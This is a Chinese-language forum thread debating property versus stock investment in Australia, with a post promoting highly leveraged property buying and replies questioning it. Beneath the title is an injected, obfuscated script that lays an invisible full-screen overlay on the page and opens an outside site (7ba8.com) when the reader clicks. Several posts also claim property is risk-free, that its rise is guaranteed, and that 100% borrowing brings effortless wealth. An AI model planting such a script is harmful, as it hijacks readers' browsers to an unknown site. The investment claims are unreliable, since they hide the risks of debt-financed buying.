投资房地产?还是股票?

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>澳洲和世界其它一些国家一样，在过去的50年里，不动产以平均每年10%的速度在上涨，换句话来说，不到七年半就会翻一翻（当然，正确的选择不动产是关键问题）。此外，投资不动产每周都会有租金收入。在澳洲，房地产平均价格以每年2%-4%的速度上涨。上涨的空间完全高于通货膨胀。

最有的投资组合一定包含对房地产的投资，以为房地产可以充分利用杠杆作用来进行财富的累积。杠杆作用在投资学里是利用使用自己一小部分的资金（例如：5%）和别人的大部分资金（银行贷款95%）来创造整体资金的利润。

如果您投资$ 10,000股票每年以复利增长10 ％ ，然后在7.2年他们将价值约$ 20,000 。如果您投资一房地产，总价值为$200,000，您只需要投资5%-$10,000，其它的部分从银行贷款（95%）。如果此项投资也以每年10%的速度在增长 ，然后在7.2年您的投资将是值得$400,000。也就是说，利用您的投资你已获得额外$190,000。

时间越长，对房地产投资的效果就越明显。在上面的例子中，如果你正在寻找一个21.6年的投资期，那么结果是相当惊人的。 非杠杆作用的股票将价值$80,000和固定资产投资收益$1,600,000相比较，差别是$1,520,000。虽然您只佣有一套投资房，在21.6年以后，您就变成了百万富翁。如果您佣有不只一套投资房，那您也许就是21.6年后的比尔·盖茨。

最好的投资房地产方式就是可以贷款100% 的房子的销售价格加上所有的费用，这样以来，您可以坐享其成（当然这需要以您现有的资产进行抵押），而不需要任何的首付。

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效果又如何呢?

我敢这样说:10年后,我的房子基本上会上涨一倍,但是您的股票呢?我不能保证它值多少钱.

股票利用杠杆作用是正常的,您是在澳洲毕业的吗?如果您毕业于金融专业,过对股票很了解,那您也一定了解杠杆作用在股票是怎样应用的.-----最简单的方式提高BETA值.但是相对来说,BETA越高风险越大.

但是在澳洲,房地产基本是没有什么风险,但是属于长期的投资,其实股票也是一样的,不知道您在澳洲有股票帐户吗?交易费用特别的高,所以,您也要考察一下市场,看看基金是怎样操作的,实际上95%以上的FUND是属于长期投资的,不是1,2年,而是5年以上,甚至10年以上.主要是因为费用过高.

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你也可以换个思维想想,如果你有10万现金,可以投一部分在房地产,一部分在股票,这样同时也分散了你的投资风险,如果全投资股票,相对来说:你的投资风险高. 就像我上次说的,没有人能保证你的股票在10年以后值多少钱,但是任何人都能保证10年以后你投资的房子价值肯定要涨

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再有,现在从澳洲市场上来看,没有任何的投资公司可以给你10%每年的回报的.不用10%,现在的利率是3%,投资公司一般是不会给你5%以上的,当然在风险一般的情况下.

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楼主我对你的质疑，在这一段“如果您投资$ 10,000股票每年以复利增长10 ％ ，然后在7.2年他们将价值约$ 20,000 。如果您投资一房地产，总价值为$200,000，您只需要投资5%-$10,000，其它的部分从银行贷款（95%）。如果此项投资也以每年10%的速度在增长 ，然后在7.2年您的投资将是值得$400,000。也就是说，利用您的投资你已获得额外$190,000”

我的问题是，你投资房产，投资资本是房产的5%,杠杆原理。你投资股票，投资资本应该控制在一个什么样的百分比，才能把这两种投资方式拿来在杠杆原理的平台上比较？

你已经重申是在相同的条件下，但是我实在找不到相同的条件。


还请赐教